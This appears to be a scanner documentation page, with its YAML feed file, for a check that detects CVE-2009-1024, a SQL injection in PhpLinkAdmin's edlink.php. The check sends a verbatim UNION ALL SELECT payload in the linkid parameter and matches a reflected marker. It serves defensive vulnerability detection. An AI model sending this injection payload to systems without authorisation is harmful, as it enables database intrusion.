PhpLinkAdmin — 1 vulnerability check
noctis ships 1 vulnerability check for PhpLinkAdmin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Beerwin's PhpLinkAdmin <= 1.0 SQL Injection (edlink linkid parameter)
| CVE | CVE-2009-1024 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/phplinkadmin/CVE-2009-1024.yaml |
Detects CVE-2009-1024 by sending a UNION ALL SELECT payload to the edlink endpoint and confirming the reflected SQL-Injection-Test marker in the HTTP response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /edlink.php?linkid=-1%27%20union%20all%20select%201,2,3,4,0x53514c2d496e6a656374696f6… - Checks
resp.bannerforSQL-Injection-Test→ finding QoD 75: Beerwin's PhpLinkAdmin SQLi confirmed — UNION ALL SELECT payload on the edlink linkid parameter reflected the SQL-Injection-Test marker at …
References:
Feed source — tests/vulnerabilities/phplinkadmin/CVE-2009-1024.yaml
# Beerwin's PhpLinkAdmin <= 1.0 — SQL Injection (CVE-2009-1024)
#
# Beerwin's PhpLinkAdmin fails to sanitize the `linkid` parameter of the
# edlink endpoint before using it in an SQL query. An unauthenticated
# attacker injects a UNION ALL SELECT that reflects a marker string drawn
# from the database, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/Beerwins_PhpLinkAdmin_1_0.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100058, GPL-2.0-only). Payload/marker preserved
# faithfully from the source plugin.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
uid: b67f360e-327d-4811-96ed-4e2ec1c26f8c
name: "Beerwin's PhpLinkAdmin <= 1.0 SQL Injection (edlink linkid parameter)"
description: |
Detects CVE-2009-1024 by sending a UNION ALL SELECT payload to the edlink endpoint and
confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2009-1024]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [phplinkadmin, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1024"
- "OpenVAS/Greenbone NASL 2009/Beerwins_PhpLinkAdmin_1_0.nasl (OID 1.3.6.1.4.1.25623.1.0.100058, GPL-2.0-only)"
steps:
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /edlink.php?linkid=-1%27%20union%20all%20select%201,2,3,4,0x53514c2d496e6a656374696f6e2d54657374%27-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Beerwin's PhpLinkAdmin SQLi confirmed — UNION ALL SELECT payload on the edlink linkid parameter reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"